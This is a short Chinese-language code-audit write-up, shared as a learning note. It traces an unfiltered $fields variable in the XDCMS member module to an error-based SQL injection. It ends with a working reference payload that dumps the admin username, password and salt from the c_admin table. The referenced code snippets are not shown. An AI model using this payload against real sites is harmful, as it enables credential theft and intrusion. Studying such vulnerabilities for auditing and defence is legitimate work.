【代码审计】XDCMS 报错注入

　　审计的都是之前很老的一些的CMS，把学习的过程分享出来，如果有正在和我一起学习的兄弟们，希望看到文章之后会有所收获

--------------------------------------------------------------------------------------------------------------------------------------

在system/moudles/member/index.php中

上述代码可以看到$fields 没有被过滤，跟踪$fields这个变量。

在83行把重新组合的值传入到 $field_sql中，继续跟踪$field_sql 这个变量

我们跟踪query这个函数 在system/libs/mysql.class.php中

如果操作失败，会出现一些错误信息。这里我们输入语句就会显示账号密码

参考EXP：

(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)#